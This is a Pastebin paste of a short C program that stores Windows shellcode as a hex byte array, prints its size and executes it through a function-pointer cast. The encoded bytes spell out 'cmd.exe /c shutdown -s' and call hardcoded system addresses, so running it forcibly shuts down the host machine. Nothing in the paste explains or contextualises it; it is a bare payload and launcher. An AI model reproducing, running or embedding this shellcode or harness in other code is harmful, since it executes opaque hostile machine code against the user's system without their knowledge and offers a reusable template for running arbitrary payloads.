Advertisement
Guest User

Untitled

a guest
Oct 21st, 2014
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.50 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. int main(){
  6.  
  7.     unsigned char shellcode[]=
  8.     "\xeb\x1b\x5b\x31\xc0\x50\x31"
  9.         "\xc0\x88\x43\x35\x53\xbb\xad\x23\x86\x7c"
  10.     "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
  11.     "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20"
  12.         "\x73\x68\x75\x74\x64\x6f\x77\x6e"
  13.         "\x20\x2d\x73";
  14.  
  15.     printf("Size = %d bytes\n", strlen(shellcode));
  16.  
  17.     ((void (*)())shellcode)();
  18.  
  19.     return 0;
  20. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement